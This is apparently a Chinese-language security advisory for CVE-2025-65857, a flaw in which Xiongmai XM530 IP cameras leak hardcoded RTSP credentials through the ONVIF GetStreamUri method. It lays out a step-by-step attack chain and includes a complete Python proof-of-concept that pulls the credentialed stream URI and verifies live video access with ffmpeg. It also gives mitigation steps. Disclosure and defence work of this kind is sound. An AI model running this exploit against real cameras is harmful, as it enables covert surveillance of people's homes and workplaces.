IPBUF安全漏洞报告
English
CVE-2025-65857 CVSS 7.5 高危

Xiongmai XM530 IP摄像头GetStreamUri硬编码凭证导致未授权视频流访问

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-65857
漏洞类型
硬编码凭证
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Xiongmai XM530 IP Camera

相关标签

硬编码凭证未授权访问ONVIFRTSP视频监控XiongmaiXM530IP摄像头信息泄露物联网安全

漏洞概述

Xiongmai XM530 IP摄像头存在严重的安全漏洞,该漏洞位于摄像头的ONVIF服务实现中。在固件版本V5.00.R02.000807D8.10010.346624.S.ONVIF 21.06中,摄像头的GetStreamUri方法存在设计缺陷,会在响应中返回包含硬编码凭证的RTSP(实时流协议)URI地址。攻击者无需进行任何身份认证,即可通过该漏洞获取摄像头的视频流访问地址,并直接访问实时视频内容。

该漏洞的严重性在于它允许未经授权的攻击者完全绕过摄像头的访问控制机制。硬编码凭证意味着所有使用相同固件版本的摄像头都共享相同的默认访问凭证,一旦攻击者获取到这些凭证,就可以访问全球范围内任何未修补的同型号设备。这不仅暴露了用户的隐私,还可能被用于非法监控、情报收集或其他恶意目的。

受影响的设备广泛应用于家庭安防、企业监控、公共场所安全等领域。由于攻击门槛极低(无需特殊工具或技术能力),且攻击具有隐蔽性(直接访问视频流不留明显痕迹),该漏洞已被评为高危安全漏洞,建议用户立即采取修复措施。

技术细节

该漏洞的核心问题在于ONVIF协议实现中的GetStreamUri方法设计不当。ONVIF(开放网络视频接口论坛)是一个国际化的开放标准,旨在促进网络视频设备之间的互操作性。GetStreamUri是ONVIF媒体服务中的核心方法之一,用于获取视频流的URI地址。

在受影响的固件版本中,当客户端调用GetStreamUri方法时,服务器端返回的RTSP URI包含明文的用户名和密码信息。例如,返回的URI可能类似:rtsp://admin:[email protected]:554/stream1。攻击者只需要发送一个标准的ONVIF GetStreamUri请求,即可获取包含有效凭证的完整RTSP地址。

RTSP(Real Time Streaming Protocol)是专门用于控制多媒体服务器传输的协议,攻击者获取RTSP URI后,可以使用VLC、FFmpeg等标准工具直接连接并播放视频流。由于凭证是硬编码的且无法通过正常途径修改,攻击者可以永久性地访问设备视频流。

漏洞利用流程简单:首先向摄像头的ONVIF服务端口(通常为80或8080)发送GetStreamUri SOAP请求,然后解析响应中的RTSP URI,最后使用任意RTSP客户端工具连接视频流。整个过程无需任何身份验证,且可自动化批量扫描。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描互联网或本地网络,识别运行受影响固件版本的Xiongmai XM530 IP摄像头。攻击者通过检测ONVIF服务端口(80/8080)来定位目标设备。
STEP 2
步骤2: 发送GetStreamUri请求
攻击者构造并发送标准的ONVIF GetStreamUri SOAP请求到目标摄像头的媒体服务端点,无需任何认证即可触发漏洞。
STEP 3
步骤3: 提取RTSP URI
目标摄像头返回包含硬编码凭证的RTSP URI,格式如:rtsp://admin:PASSWORD@IP:554/stream。攻击者从响应中解析提取该URI。
STEP 4
步骤4: 视频流访问
攻击者使用VLC、FFmpeg等标准RTSP客户端工具,通过提取的RTSP URI直接连接并观看摄像头的实时视频流,完全绕过访问控制。
STEP 5
步骤5: 持久化访问
由于凭证硬编码在固件中且无法通过常规配置修改,攻击者可以永久性地访问视频流,甚至在用户更改管理员密码后仍可使用硬编码凭证访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-65857 PoC - Xiongmai XM530 IP Camera GetStreamUri Hardcoded Credentials This PoC demonstrates how to extract RTSP URI with hardcoded credentials from affected cameras. """ import requests import sys import re from urllib.parse import urljoin def extract_rtsp_uri(target_ip, port=80): """ Send ONVIF GetStreamUri request to extract RTSP URI with hardcoded credentials. Args: target_ip: Target camera IP address port: ONVIF service port (default: 80) Returns: RTSP URI containing hardcoded credentials """ # ONVIF GetStreamUri SOAP request soap_request = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://www.onvif.org/ver10/device/wsdl" xmlns:trt="http://www.onvif.org/ver10/media/wsdl"> <soap:Header/> <soap:Body> <trt:GetStreamUri> <trt:StreamSetup> <tt:Stream xmlns:tt="http://www.onvif.org/ver10/schema">RTP-Unicast</tt:Stream> <tt:Transport xmlns:tt="http://www.onvif.org/ver10/schema"> <tt:Protocol>RTSP</tt:Protocol> </tt:Transport> </trt:StreamSetup> <trt:ProfileToken>Profile_1</trt:ProfileToken> </trt:GetStreamUri> </soap:Body> </soap:Envelope>""" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': '"http://www.onvif.org/ver10/media/wsdl/GetStreamUri"' } url = f"http://{target_ip}:{port}/onvif/media_service" try: print(f"[*] Sending ONVIF GetStreamUri request to {url}") response = requests.post(url, data=soap_request, headers=headers, timeout=10) if response.status_code == 200: # Extract RTSP URI from response rtsp_match = re.search(r'rtsp://[^<]+', response.text) if rtsp_match: rtsp_uri = rtsp_match.group(0) print(f"[+] SUCCESS: Found RTSP URI with credentials: {rtsp_uri}") return rtsp_uri else: print("[-] No RTSP URI found in response") return None else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def verify_rtsp_access(rtsp_uri): """ Verify RTSP stream access using FFmpeg. This step demonstrates unauthorized video access. """ import subprocess print(f"[*] Attempting to access video stream: {rtsp_uri}") print("[*] This would allow unauthorized viewing of camera feed") # Example FFmpeg command to test stream access # ffmpeg -i "rtsp_uri" -t 1 -f null - cmd = ['ffmpeg', '-i', rtsp_uri, '-t', '1', '-f', 'null', '-'] try: result = subprocess.run(cmd, capture_output=True, timeout=15) if result.returncode == 0: print("[+] Video stream accessible - vulnerability confirmed") else: print("[-] Stream access failed") except Exception as e: print(f"[*] Stream test skipped: {e}") def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] CVE-2025-65857 PoC - Xiongmai XM530 Hardcoded Credentials") print(f"[*] Target: {target_ip}:{port}") print() rtsp_uri = extract_rtsp_uri(target_ip, port) if rtsp_uri: print() verify_rtsp_access(rtsp_uri) print() print("[!] VULNERABLE: Camera exposes RTSP URI with hardcoded credentials") print("[!] Immediate remediation recommended") else: print("[-] Target may not be vulnerable or is unreachable") if __name__ == "__main__": main()

影响范围

Xiongmai XM530 IP Camera firmware V5.00.R02.000807D8.10010.346624.S.ONVIF 21.06

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1) 在网络边界设备(如防火墙)上禁用或限制对摄像头ONVIF服务的访问,仅允许受信任的管理IP访问;2) 将摄像头部署在独立的网络隔离区域,与核心业务网络分离;3) 使用网络入侵检测系统监控异常的GetStreamUri请求和RTSP连接行为;4) 考虑在摄像头前端部署反向代理或认证网关,对视频流访问进行二次验证;5) 定期检查摄像头配置和固件版本,关注厂商安全公告;6) 如果业务允许,考虑暂时关闭受影响摄像头的ONVIF功能,仅使用厂商专用客户端访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表